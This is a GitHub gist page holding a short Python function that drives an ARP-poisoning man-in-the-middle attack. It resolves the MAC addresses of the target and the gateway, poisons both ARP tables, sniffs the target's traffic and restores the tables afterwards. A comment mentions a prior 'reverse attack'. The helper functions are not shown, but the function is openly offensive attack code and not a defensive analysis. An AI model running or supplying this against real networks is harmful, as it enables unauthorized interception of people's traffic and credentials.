Created
June 30, 2020 06:06
-
-
Save NimishMishra/f4f175f80a1c40ee2ad25ef40a981b22 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def entry(target_ip, gateway_ip): | |
# assuming we have performed the reverse attack, we know the following | |
global response | |
response = "" | |
TARGET_IP = target_ip | |
GATEWAY_IP = gateway_ip | |
TARGET_MAC_ADDRESS = get_mac_address(TARGET_IP) | |
GATEWAY_MAC_ADDRESS = get_mac_address(GATEWAY_IP) | |
poison_arp_tables(GATEWAY_IP, GATEWAY_MAC_ADDRESS, TARGET_IP, TARGET_MAC_ADDRESS) | |
sniffer(TARGET_IP) | |
restore_arp_tables(GATEWAY_IP, GATEWAY_MAC_ADDRESS, TARGET_IP, TARGET_MAC_ADDRESS) | |
return response |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment